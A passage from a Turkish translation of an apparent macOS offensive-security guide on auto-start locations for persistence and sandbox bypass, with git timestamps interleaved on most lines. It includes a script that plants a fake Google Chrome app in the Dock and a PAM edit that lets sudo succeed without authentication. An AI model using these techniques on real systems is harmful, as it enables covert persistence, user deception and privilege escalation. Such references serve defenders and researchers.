2023-09-28 15:09:34 +00:00
* `~/Library/Preferences/com.apple.dock.plist`
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Kullanı cı dock içindeki uygulamaya tı kladı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Dock'ta görünen tüm uygulamalar, plist içinde belirtilmiştir: ** `~/Library/Preferences/com.apple.dock.plist` **
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
Sadece şu şekilde bir uygulama **eklemek mümkündür** :
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /System/Applications/Books.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
# Restart Dock
killall Dock
```
{% endcode %}
2024-02-13 00:51:21 +00:00
Bazı **sosyal mühendislik** kullanarak, örneğin Dock içinde **Google Chrome gibi taklit edebilir** ve aslı nda kendi betiğinizi çalı ştı rabilirsiniz:
2023-09-28 21:12:41 +00:00
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat < < EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > CFBundleExecutable< / key >
< string > Google Chrome< / string >
< key > CFBundleIdentifier< / key >
< string > com.google.Chrome< / string >
< key > CFBundleName< / key >
< string > Google Chrome< / string >
< key > CFBundleVersion< / key >
< string > 1.0< / string >
< key > CFBundleShortVersionString< / key >
< string > 1.0< / string >
< key > CFBundleInfoDictionaryVersion< / key >
< string > 6.0< / string >
< key > CFBundlePackageType< / key >
< string > APPL< / string >
< key > CFBundleIconFile< / key >
< string > app< / string >
2023-09-28 21:12:41 +00:00
< / dict >
< / plist >
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /tmp/Google Chrome.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
killall Dock
```
2024-02-13 00:51:21 +00:00
### Renk Seçiciler
2023-09-28 21:12:41 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0017 ](https://theevilbit.github.io/beyond/beyond\_0017/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-23 16:46:32 +00:00
* Çok belirli bir eylem gerçekleşmesi gerekiyor
2024-02-10 18:14:16 +00:00
* Başka bir kum havuzunda sonlanacaksı nı z
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/Library/ColorPickers`
2024-02-13 00:51:21 +00:00
* Kök erişimi gereklidir
* Tetikleyici: Renk seçicisini kullanı n
2023-09-28 15:09:34 +00:00
* `~/Library/ColorPickers`
2024-02-13 00:51:21 +00:00
* Tetikleyici: Renk seçicisini kullanı n
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
Kodunuzla birlikte bir renk seçici paketini derleyin (örneğin [**bu örneği kullanabilirsiniz** ](https://github.com/viktorstrate/color-picker-plus )) ve bir yapı landı rı cı ekleyin (benzer şekilde [Ekran Koruyucu bölümünde ](macos-auto-start-locations.md#screen-saver ) olduğu gibi) ve paketi `~/Library/ColorPickers` dizinine kopyalayı n.
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
Sonra, renk seçicisi tetiklendiğinde sizin de tetiklenmeniz gerekmektedir.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Kütüphanenizi yükleyen ikili dosyanı n **çok kı sı tlayı cı bir kum havuzu** olduğunu unutmayı n: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
[Key] com.apple.security.temporary-exception.sbpl
2024-02-10 18:14:16 +00:00
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
2023-06-01 21:09:46 +00:00
```
2023-09-28 15:09:34 +00:00
{% endcode %}
2024-02-10 18:14:16 +00:00
### Finder Senkronizasyon Eklentileri
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0026/ ](https://theevilbit.github.io/beyond/beyond\_0026/ )\
**Açı klama**: [https://objective-see.org/blog/blog\_0x11.html ](https://objective-see.org/blog/blog\_0x11.html )
2023-09-28 15:09:34 +00:00
2024-02-23 16:46:32 +00:00
* Kum havuzunu atlamak için kullanı şlı mı : **Hayı r, çünkü kendi uygulamanı zı çalı ştı rmanı z gerekir**
* TCC atlaması : ???
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Belirli bir uygulama
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama ve Sı zma
2023-06-01 21:09:46 +00:00
2024-03-17 16:37:08 +00:00
Bir Finder Senkronizasyon Uzantı sı örneği içeren bir uygulama [**burada bulunabilir** ](https://github.com/D00MFist/InSync ).
2023-06-01 21:09:46 +00:00
2024-03-17 16:37:08 +00:00
Uygulamalar `Finder Senkronizasyon Uzantı ları ` na sahip olabilir. Bu uzantı , çalı ştı rı lacak bir uygulamanı n içine gidecektir. Dahası , uzantı nı n kodunu çalı ştı rabilmesi için **bazı geçerli Apple geliştirici sertifikaları yla imzalanmı ş olması gerekir** , **kum havuzunda olmalı dı r** (rahatlatı lmı ş istisnalar eklenmiş olabilir) ve şuna benzer bir şeyle kaydedilmiş olmalı dı r:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
### Ekran Koruyucu
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0016/ ](https://theevilbit.github.io/beyond/beyond\_0016/ )\
2024-03-17 16:37:08 +00:00
Açı klama: [https://posts.specterops.io/saving-your-access-d562bf5bf90b ](https://posts.specterops.io/saving-your-access-d562bf5bf90b )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-23 16:46:32 +00:00
* Ancak genel bir uygulama kum havuzunda sonlanacaksı nı z
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/System/Library/Screen Savers`
2024-03-17 16:37:08 +00:00
* Root gerekli
* **Tetikleyici**: Ekran koruyucusunu seçin
2023-09-28 15:09:34 +00:00
* `/Library/Screen Savers`
2024-03-17 16:37:08 +00:00
* Root gerekli
* **Tetikleyici**: Ekran koruyucusunu seçin
2023-09-28 15:09:34 +00:00
* `~/Library/Screen Savers`
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: Ekran koruyucusunu seçin
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" width = "375" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardı ndan, örneğin aşağı daki kodu kullanarak kodunuzu ekleyin.
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
**Derleyin** ve `.saver` paketini ** `~/Library/Screen Savers` ** dizinine kopyalayı n. Sonra, Ekran Koruyucu GUI'yi açı n ve üzerine tı kladı ğı nı zda birçok log oluşturmalı dı r:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char ** )
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```
{% endcode %}
{% hint style="danger" %}
2024-03-17 16:37:08 +00:00
Bu kodu yükleyen ikili dosyanı n ayrı calı kları nda (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) ** `com.apple.security.app-sandbox` ** bulunduğundan dolayı **ortak uygulama kum havuzunun içinde olacaksı nı z** .
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-02-23 16:46:32 +00:00
Saver kodu:
2023-09-28 15:09:34 +00:00
```objectivec
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
2023-09-28 15:09:34 +00:00
}
- (void)startAnimation
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super startAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)stopAnimation
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super stopAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)drawRect:(NSRect)rect
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super drawRect:rect];
2023-09-28 15:09:34 +00:00
}
- (void)animateOneFrame
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return;
2023-09-28 15:09:34 +00:00
}
- (BOOL)hasConfigureSheet
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return NO;
2023-09-28 15:09:34 +00:00
}
- (NSWindow*)configureSheet
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return nil;
2023-09-28 15:09:34 +00:00
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
2023-09-28 15:09:34 +00:00
}
@end
```
2024-02-10 18:14:16 +00:00
### Spotlight Eklentileri
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
yazı : [https://theevilbit.github.io/beyond/beyond\_0011/ ](https://theevilbit.github.io/beyond/beyond\_0011/ )
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-13 00:51:21 +00:00
* Ancak uygulama kum havuzunda sona ereceksiniz
2024-03-17 16:37:08 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2024-02-10 18:14:16 +00:00
* Kum havuzu çok sı nı rlı görünüyor
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
* `~/Kütüphane/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
2024-02-13 00:51:21 +00:00
* `/Kütüphane/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
2024-02-13 00:51:21 +00:00
* Root gerekli
* `/Sistem/Kütüphane/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
2024-02-13 00:51:21 +00:00
* Root gerekli
* `Some.app/İçerik/Kütüphane/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
2024-02-13 00:51:21 +00:00
* Yeni uygulama gereklidir
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
Spotlight, macOS'in yerleşik arama özelliğidir ve kullanı cı lara **bilgisayarları ndaki verilere hı zlı ve kapsamlı erişim** sağlamak amacı yla tasarlanmı ştı r.\
2024-03-17 16:37:08 +00:00
Bu hı zlı arama yeteneğini kolaylaştı rmak için Spotlight, **özel bir veritabanı ** tutar ve çoğu dosyayı **ayı klamak suretiyle bir dizin oluşturur** , böylece dosya adları ve içerikleri üzerinden hı zlı aramalar yapı labilir.
2023-10-01 18:04:16 +00:00
2024-03-17 16:37:08 +00:00
Spotlight'ı n temel mekanizması , 'mds' adlı merkezi bir süreci içerir ve bu süreç, Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinlemek gibi çeşitli bakı m görevlerini yerine getiren çeşitli 'mdworker' cinleri bulunmaktadı r (`ps -ef | grep mdworker`). Bu görevler, Spotlight içinde çeşitli dosya biçimlerini anlaması nı ve dizinlemesini sağlayan Spotlight içe aktarı cı eklentileri veya ** ".mdimporter paketleri**" aracı lı ğı yla mümkün hale getirilir.
2023-10-01 18:04:16 +00:00
2024-03-17 16:37:08 +00:00
Eklentiler veya ** `.mdimporter` ** paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketler, hangi **dosya türü ve uzantı ları yönetebileceklerini** belirtmelidir; bu şekilde, belirtilen uzantı ya sahip yeni bir dosya oluşturulduğunda Spotlight onları kullanacaktı r.
2023-10-01 18:04:16 +00:00
2024-03-17 16:37:08 +00:00
Yüklenmiş tüm `mdimporters` 'ları **bulmak mümkündür:**
2023-10-01 18:04:16 +00:00
```bash
mdimport -L
Paths: id(501) (
2024-02-10 18:14:16 +00:00
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
2023-10-01 18:04:16 +00:00
```
2024-03-17 16:37:08 +00:00
Ve örneğin ** /Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları işlemek için kullanı lı r (`.iba` ve `.book` uzantı ları arası nda):
2023-10-01 18:04:16 +00:00
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
2024-02-10 18:14:16 +00:00
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
2023-10-01 18:04:16 +00:00
[...]
2024-02-10 18:14:16 +00:00
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
2023-10-01 18:04:16 +00:00
[...]
```
{% hint style="danger" %}
2024-03-17 16:37:08 +00:00
Başka `mdimporter` 'ı n Plist'ini kontrol ederseniz, ** `UTTypeConformsTo` ** girdisini bulamayabilirsiniz. Bu, yerleşik bir _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olduğu için uzantı ları belirtmeye gerek duymaz.
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
Ayrı ca, Sistem varsayı lan eklentileri her zaman önceliklidir, bu nedenle bir saldı rgan yalnı zca Apple'ı n kendi `mdimporters` tarafı ndan dizinlenmeyen dosyalara erişebilir.
2023-10-01 18:04:16 +00:00
{% endhint %}
2024-02-23 16:46:32 +00:00
Kendi içe aktarı cı nı zı oluşturmak için bu projeye başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer ](https://github.com/megrimm/pd-spotlight-importer ) ve ardı ndan adı değiştirin, ** `CFBundleDocumentTypes` **'ı değiştirin ve desteklemek istediğiniz uzantı ları desteklemesi için ** `UTImportedTypeDeclarations` ** ekleyin ve bunları ** `schema.xml` **'de yansı tı n.\
2024-03-17 16:37:08 +00:00
Ardı ndan, ** `GetMetadataForFile` ** işlevinin kodunu değiştirerek, işlenen uzantı ya sahip bir dosya oluşturulduğunda payload'unuzu çalı ştı rabilirsiniz.
2023-10-01 18:04:16 +00:00
2024-03-17 16:37:08 +00:00
Son olarak, yeni `.mdimporter` 'ı nı zı bir önceki konumlardan birine derleyin ve kopyalayı n ve yüklendiğinde **günlükleri izleyerek** veya ** `mdimport -L` ** kontrol ederek kontrol edebilirsiniz.
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
### ~~Tercih Paneli~~
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Bu artı k çalı şmı yor gibi görünmüyor.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0009/ ](https://theevilbit.github.io/beyond/beyond\_0009/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Belirli bir kullanı cı eylemi gerektirir
2024-03-17 16:37:08 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/System/Library/PreferencePanes`**
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
2023-06-01 21:09:46 +00:00
2024-03-17 16:37:08 +00:00
#### Açı klama
2023-06-01 21:09:46 +00:00
2024-03-17 16:37:08 +00:00
Bu artı k çalı şmı yor gibi görünmüyor.
## Root Kum Havuzu Atlatma
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-03-17 16:37:08 +00:00
Burada, **kum havuzu atlatma** için yararlı olan başlangı ç konumları nı bulabilirsiniz, bu da sadece bir dosyaya **yazarak** basitçe bir şeyi **yürütmenizi sağlar** ve **root** olmanı zı ve/veya diğer **garip koşulları gerektirir.**
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### Periyodik
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0019/ ](https://theevilbit.github.io/beyond/beyond\_0019/ )
2023-09-26 23:39:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-23 16:46:32 +00:00
* Ancak root olmanı z gerekiyor
2024-03-17 16:37:08 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-26 23:39:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-26 23:39:35 +00:00
2023-09-28 20:05:35 +00:00
* `/etc/periodic/daily` , `/etc/periodic/weekly` , `/etc/periodic/monthly` , `/usr/local/etc/periodic`
2024-02-23 16:46:32 +00:00
* Root gereklidir
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: Zaman geldiğinde
2024-02-10 18:14:16 +00:00
* `/etc/daily.local` , `/etc/weekly.local` veya `/etc/monthly.local`
2024-02-23 16:46:32 +00:00
* Root gereklidir
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: Zaman geldiğinde
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
#### Açı klama ve Sömürü
Periyodik betikler (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*` 'de yapı landı rı lmı ş **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/` 'de depolanan betikler dosya sahibi olarak **yürütülür** , bu nedenle bu, olası bir ayrı calı k yükseltmesi için çalı şmayacaktı r.
2024-02-23 16:46:32 +00:00
{% code overflow="wrap" %}
2023-09-28 20:05:35 +00:00
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Başka periyodik betikler de ** `/etc/defaults/periodic.conf` ** dosyası nda belirtilir:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
2023-06-01 21:09:46 +00:00
```
2024-02-23 16:46:32 +00:00
Eğer `/etc/daily.local` , `/etc/weekly.local` veya `/etc/monthly.local` dosyaları ndan herhangi birini yazmayı başarı rsanı z, **er ya da geç yürütülecektir** .
2023-09-28 15:09:34 +00:00
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-03-17 16:37:08 +00:00
Periyodik betik, **betiğin sahibi olarak yürütülecektir** . Dolayı sı yla, eğer düzenli bir kullanı cı betiğin sahibiyse, betik o kullanı cı olarak yürütülecektir (bu, ayrı calı k yükseltme saldı rı ları nı engelleyebilir).
2023-11-02 16:52:21 +00:00
{% endhint %}
2023-09-28 20:05:35 +00:00
### PAM
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
Yazı : [Linux Hacktricks PAM ](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md )\
Yazı : [https://theevilbit.github.io/beyond/beyond\_0005/ ](https://theevilbit.github.io/beyond/beyond\_0005/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-03-17 16:37:08 +00:00
* Ancak root olmanı z gerekmektedir
2024-02-23 16:46:32 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
* Her zaman kök gereklidir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
PAM, macOS içinde kolay yürütmeden ziyade **kalı cı lı k** ve kötü amaçlı yazı lı mlara daha fazla odaklandı ğı için, bu blog detaylı bir açı klama sunmayacak, **bu teknik hakkı nda daha iyi anlamak için yazı ları okuyun** .
2023-11-02 16:52:21 +00:00
2024-02-10 18:14:16 +00:00
PAM modüllerini kontrol etmek için:
2023-11-02 16:52:21 +00:00
```bash
ls -l /etc/pam.d
```
2024-03-17 16:37:08 +00:00
Bir süreklilik/privilege escalation tekniği PAM'ı kötüye kullanarak /etc/pam.d/sudo modülünü değiştirerek kolayca yapı labilir. Başlangı ca şu satı rı eklemek yeterlidir:
2023-11-02 16:52:21 +00:00
```bash
auth sufficient pam_permit.so
```
2024-03-17 16:37:08 +00:00
Yani bu şöyle **görünecek** :
2023-11-02 16:52:21 +00:00
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
2024-02-13 00:51:21 +00:00
Ve dolayı sı yla ** `sudo` kullanma girişimi başarı lı olacaktı r**.
2023-11-02 16:52:21 +00:00
{% hint style="danger" %}
2024-03-17 16:37:08 +00:00
Bu dizin TCC tarafı ndan korunduğundan, kullanı cı nı n erişim isteyen bir uyarı alması oldukça olası dı r.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Yetkilendirme Eklentileri
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )\
Açı klama: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 ](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
2024-03-17 16:37:08 +00:00
* Ancak root olmanı z ve ek yapı landı rmalar yapmanı z gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: ???
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/Library/Security/SecurityAgentPlugins/`
2024-02-10 18:14:16 +00:00
* Root gereklidir
* Eklentiyi kullanmak için yetkilendirme veritabanı nı yapı landı rmak da gereklidir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-02-23 16:46:32 +00:00
